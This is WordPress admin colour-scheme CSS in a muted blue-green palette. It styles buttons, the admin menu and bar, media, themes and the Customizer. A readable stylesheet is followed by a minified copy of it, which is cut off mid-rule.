.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #9ebaa0;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #9ebaa0;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button-primary {
  background: #9ebaa0;
  border-color: #9ebaa0;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #a7c0a9;
  border-color: #95b497;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #9ebaa0;
}
.wp-core-ui .button-primary:active {
  background: #8faf91;
  border-color: #8faf91;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #9ebaa0;
  color: #fff;
  border-color: #719a74;
  box-shadow: inset 0 2px 5px -3px #253426;
}
.wp-core-ui .button-group > .button.active {
  border-color: #9ebaa0;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #738e96;
}
.wp-core-ui .wp-ui-text-primary {
  color: #738e96;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #9ebaa0;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #9ebaa0;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #aa9d88;
}
.wp-core-ui .wp-ui-text-notification {
  color: #aa9d88;
}
.wp-core-ui .wp-ui-text-icon {
  color: #f2fcff;
}

/* List tables */
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #738e96;
}

.view-switch a.current:before {
  color: #738e96;
}

.view-switch a:hover:before {
  color: #aa9d88;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #738e96;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #f2fcff;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #9ebaa0;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #627c83;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #627c83;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #d5dde0;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #d5dde0;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #9ebaa0;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #9ebaa0;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #9ebaa0;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #aa9d88;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #627c83;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #f2fcff;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #9ebaa0;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #738e96;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #f2fcff;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #9ebaa0;
  background: #627c83;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #9ebaa0;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #9ebaa0;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #627c83;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #8f9a9e;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #d5dde0;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #f2fcff;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #9ebaa0;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #9ebaa0;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #f2fcff;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #f2fcff;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #879ea5;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #aa9d88;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #998d7a;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #879ea5;
  background-color: #879ea5;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #9ebaa0;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #d5dde0;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #9ebaa0;
  border-color: #8faf91;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #9ebaa0;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #9ebaa0;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #9ebaa0;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #9ebaa0;
}

.attachment.details .check {
  background-color: #9ebaa0;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #9ebaa0;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #9ebaa0;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #9ebaa0;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #9ebaa0;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #738e96;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #738e96;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #9ebaa0;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #9ebaa0;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #bccfbd, 0 0 2px 1px #9ebaa0;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #f2fcff;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #9ebaa0;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #627c83;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #f2fcff;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #9ebaa0;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #9ebaa0;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #9ebaa0;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #9ebaa0;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #bccfbd, 0 0 2px 1px #9ebaa0;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #9ebaa0;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #9ebaa0;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #9ebaa0;
  border-style: solid;
  box-shadow: 0 0 0 1px #9ebaa0;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #9ebaa0;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #9ebaa0;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #9ebaa0;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #bccfbd, 0 0 2px 1px #9ebaa0;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #9ebaa0;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23738e96%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#738e96}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#9ebaa0;box-shadow:0 0 0 1px #9ebaa0}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#9ebaa0;color:#262a2e;box-shadow:inset 0 2px 5px -3px #9ebaa0}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button-primary{background:#9ebaa0;border-color:#9ebaa0;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#a7c0a9;border-color:#95b497;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #9ebaa0}.wp-core-ui .button-primary:active{background:#8faf91;border-color:#8faf91;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#9ebaa0;color:#fff;border-color:#719a74;box-shadow:inset 0 2px 5px -3px #253426}.wp-core-ui .button-group>.button.active{border-color:#9ebaa0}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#738e96}.wp-core-ui .wp-ui-text-primary{color:#738e96}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#9ebaa0}.wp-core-ui .wp-ui-text-highlight{color:#9ebaa0}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#aa9d88}.wp-core-ui .wp-ui-text-notification{color:#aa9d88}.wp-core-ui .wp-ui-text-icon{color:#f2fcff}.wrap .page-title-action:hover{color:#fff;background-color:#738e96}.view-switch a.current:before{color:#738e96}.view-switch a:hover:before{color:#aa9d88}#adminmenu,#adminmenuback,#adminmenuwrap{background:#738e96}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f2fcff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#9ebaa0}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#627c83}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#627c83}#adminmenu .wp-submenu .wp-submenu-head{color:#d5dde0}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#d5dde0}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#9ebaa0}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#9ebaa0}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#9ebaa0}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#aa9d88}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#627c83}#collapse-button{color:#f2fcff}#collapse-button:focus,#collapse-button:hover{color:#9ebaa0}#wpadminbar{color:#fff;background:#738e96}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f2fcff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#9ebaa0;background:#627c83}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#9ebaa0}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#9ebaa0}#wpadminbar .menupop .ab-sub-wrapper{background:#627c83}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#8f9a9e}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#d5dde0}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f2fcff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#9ebaa0}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#9ebaa0}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f2fcff}#wpadminbar #adminbarsearch:before{color:#f2fcff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#879ea5}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#aa9d88}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#998d7a}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#879ea5;background-color:#879ea5}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#9ebaa0}#wpadminbar #wp-admin-bar-user-info .username{color:#d5dde0}.wp-pointer .wp-pointer-content h3{background-color:#9ebaa0;border-color:#8faf91}.wp-pointer .wp-pointer-content h3:before{color:#9ebaa0}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#9ebaa0}.media-item .bar,.media-progress-bar div{background-color:#9ebaa0}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px 